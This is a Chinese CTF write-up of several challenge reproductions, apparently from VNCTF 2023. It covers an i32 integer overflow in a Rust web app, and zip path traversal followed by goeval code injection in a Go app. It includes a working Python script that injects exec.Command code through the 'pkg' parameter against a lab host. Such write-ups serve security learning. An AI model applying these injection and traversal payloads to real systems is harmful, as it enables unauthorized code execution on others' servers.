前言
明年再战
象棋王子
jsfuck,把编码复制到控制台执行就行
电子木鱼(复现)
RUST文件代码审计
整数溢出
分析
main.rs
初始页面
每次修改后都要返回此页面查看数值
获取flag的条件
#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
let mut context = Context::new();
context.insert("gongde", &GONGDE.get());
if GONGDE.get() > 1_000_000_000 { //GONGDE大于1_000_000_000即可获取flag
context.insert(
"flag",
&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
);
}
match tera.render("index.html", &context) {
Ok(body) => Ok(HttpResponse::Ok().body(body)),
Err(err) => Err(error::ErrorInternalServerError(err)),
}
}
struct APIResult {
success: bool,
message: &'static str,
}
#[derive(Deserialize)]
struct Info {
name: String,
quantity: i32,//定义quantity为i32类型的有符号整数
}
#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
name: &'static str,
cost: i32,
}
定义类及参数
定义name
(选项)及其Cost
(花费的功德)
const PAYLOADS: &[Payload] = &[
Payload {
name: "Cost",
cost: 10,
},
Payload {
name: "Loan",
cost: -1_000,
},
Payload {
name: "CCCCCost",
cost: 500,
},
Payload {
name: "Donate",
cost: 1,
},
Payload {
name: "Sleep",
cost: 0,
},
];
主要判断部分
#[post("/upgrade")] //此段说明在/upgrade中传参方式为POST
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> { //从Info中获取参数名
if GONGDE.get() < 0 {
return web::Json(APIResult {
success: false,
message: "功德都搞成负数了,佛祖对你很失望",
});
}
if body.quantity <= 0 { //禁止传入小于等于0的数
return web::Json(APIResult {
success: false,
message: "佛祖面前都敢作弊,真不怕遭报应啊",
});
}
if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) { //根据传入name的类型进入不同分支
let mut cost = payload.cost;
if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity; //在 name 参数为 Donate 或Cost 的时候会将原本的功德消耗值乘上我们传入的
} //quantity参数值计算功德消耗
if GONGDE.get() < cost as i32 {
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}
if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}
if payload.name == "Cost" {
return web::Json(APIResult {
success: true,
message: "小扣一手功德",
});
} else if payload.name == "CCCCCost" {
return web::Json(APIResult {
success: true,
message: "功德都快扣没了,怎么睡得着的",
});
} else if payload.name == "Loan" {
return web::Json(APIResult {
success: true,
message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
});
} else if payload.name == "Donate" {
return web::Json(APIResult {
success: true,
message: "好人有好报",
});
} else if payload.name == "Sleep" {
return web::Json(APIResult {
success: true,
message: "这是什么?床,睡一下",
});
}
}
web::Json(APIResult {
success: false,
message: "禁止开摆",
})
}
- 返回均为json页面
思路
- 在
name
参数为Donate
或Cost
的时候会将原本的功德消耗值乘上我们传入的quantity
参数值计算功德消耗 - 但是唯一能使功德增加的
Loan
选项并没有出现在此分支的条件判断中,因此无法直接正向增加功德一步到位。正向的路基本被堵死 - 同时我们也注意到
cost
变量为i32 有符号整数
,上限为2,147,483,647,当我们要扣的功德足够大时就会造成溢出,得到一个绝对值非常大的负数。再加上并没有设置对quantity
参数的限制,办到这一点还是不难的。
操作
在upgrade中发出请求使功德扣至溢出
payload:
name=Cost&quantity=1147483647
返回页面获取flag
BabyGo(复现)
解压文件目录穿越 + goeval代码注入
源码
package main
import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)
type User struct {
Name string
Path string
Power string
}
func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})
r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})
r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})
r.Run(":80")
}
分析
审计一下,发现有4个路由
/
:创建了一个user.gob文件,保存到userDir目录,即/tmp/cbc82b2da88e6d42967790fe2d921bb5/
下,然后设置了ctfer.Power的值为low
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
/upload
:
ban掉了gob和go后缀
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
上传文件到userUploadDir := session.Get("shallow").(string) + "uploads/"
,即根路由下回显的/tmp/cbc82b2da88e6d42967790fe2d921bb5/
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
/unzip
:
解压我们上传的文件
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})
值得注意的是这里的参数c是可控的,对应destPath := filepath.Clean(userUploadDir + c.Query("path"))
即path的值我们是可控的,这里的path也就是我们要解压到的路径,猜测这里可能存在解压操作常见的目录穿越或目录遍历漏洞
filepath.Clean
看一下filepath.Clean
的作用
大概意思是可以利用这个进行目录穿越从而控制解压的文件路径
/backdoor
:
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})
打开user.gob文件,然后进行gob.NewDecoder
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
看一下gob.NewDecoder
的作用
那么应该就是以二进制解码/反序列化 user.gob 文件的意思
接下来就是我们要进行命令执行的地方——goeval
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
}
这里参数pkg是我们可控的
但是在这之前要先让ctfer.Power == "admin"
,这个值在最开始user.gob时被设置为了low
思路
既然直接文件上传ban掉了go的后缀,我们可以先上传压缩包再用/unzip进行解压,控制路径覆盖/tmp/cbc82b2da88e6d42967790fe2d921bb5/user.gob,让ctfer.Power == "admin"
成立
然后对goeval进行命令注入即可
操作
伪造user.gob
package main
import (
"encoding/gob"
"github.com/duke-git/lancet/fileutil"
"os"
)
type User struct {
Name string
Path string
Power string
}
func main() {
userDir := "./serial/"
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "admin"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
}
go run main.go
在./serial/
下获得user.gob文件
压缩gob文件并在/upload路由上传,得到路径/tmp/cbc82b2da88e6d42967790fe2d921bb5/uploads/user.zip
接下来在/unzip解压,传入path参数进行目录穿越
最后在/backdoor处进行命令注入,参数为pkg(脚本来源:枫佬)
import requests
url="http://44a907bb-5c46-4443-a415-c07a709328fa.node5.buuoj.cn:81/backdoor?pkg="
payload='''\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\",\"/\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1'''
# payload=''
url = url + payload
header={
"Cookie" : "session=MTcwNjI1MDEyN3xEdi1CQkFFQ180SUFBUkFCRUFBQVJfLUNBQUVHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM2NHYzNSeWFXNW5EQ2dBSmk5MGJYQXZZMkpqT0RKaU1tUmhPRGhsTm1RME1qazJOemM1TUdabE1tUTVNakZpWWpVdnxd56ZX1uJ5SixsF7hu7fTzfwSV5QNU3i6K1c7dgOo6Eg==",
"Host": "44a907bb-5c46-4443-a415-c07a709328fa.node5.buuoj.cn:81",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)"
}
r = requests.get(url,headers=header)
print(r.text)